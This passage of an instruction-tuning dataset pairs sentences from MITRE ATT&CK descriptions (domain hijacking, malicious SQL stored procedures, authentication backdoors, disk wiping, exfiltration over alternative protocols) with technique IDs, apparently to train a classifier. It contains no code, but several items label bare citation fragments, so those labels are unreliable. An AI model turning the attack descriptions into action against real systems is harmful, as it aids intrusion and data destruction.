the text.", "input": "campaigns.(Citation: FireEye DNS Hijack 2019)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: campaigns.(Citation: FireEye DNS Hijack 2019) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack domains and/or subdomains that can be used during targeting.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack domains and/or subdomains that can be used during targeting. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking)", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain access to an email account for the person listed as the owner of the domain.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain access to an email account for the person listed as the owner of the domain. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then claim that they forgot their password in order to make changes to the domain registration.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then claim that they forgot their password in order to make changes to the domain registration. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW) ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse SQL stored procedures to establish persistent access to systems.", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse SQL stored procedures to establish persistent access to systems. ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries.", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky MSSQL Aug 2019)", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky MSSQL Aug 2019) ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NetSPI Startup Stored Procedures)(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NetSPI Startup Stored Procedures)(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky MSSQL Aug 2019)(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky MSSQL Aug 2019)(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft xp_cmdshell 2017)", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft xp_cmdshell 2017) ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SQL Server can enable common language runtime (CLR) integration.", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SQL Server can enable common language runtime (CLR) integration. ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017)", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NetSPI SQL Server CLR)", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NetSPI SQL Server CLR) ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The modification includes a specific password which is implanted in the operating system image via the patch.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The modification includes a specific password which is implanted in the operating system image via the patch. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon authentication attempts, the inserted code will first check to see if the user input is the password.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon authentication attempts, the inserted code will first check to see if the user input is the password. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If so, access is granted.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If so, access is granted. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock) ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With direct write access to a disk, adversaries may attempt to overwrite portions of disk data.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR).", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A complete wipe of all disk sectors may be attempted.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A complete wipe of all disk sectors may be attempted. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco) ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018)", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content.", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation:", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files. ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also opt to encrypt and/or obfuscate these alternate channels.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also opt to encrypt and/or obfuscate these alternate channels. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016)", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009). ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", "output": "T1048.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. ### Response: T1048.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)", "output": "T1048.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco) ### Response: T1048.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS).", "output": "T1048.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). ### Response: T1048.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.", "output": "T1048.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ### Response: T1048.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates 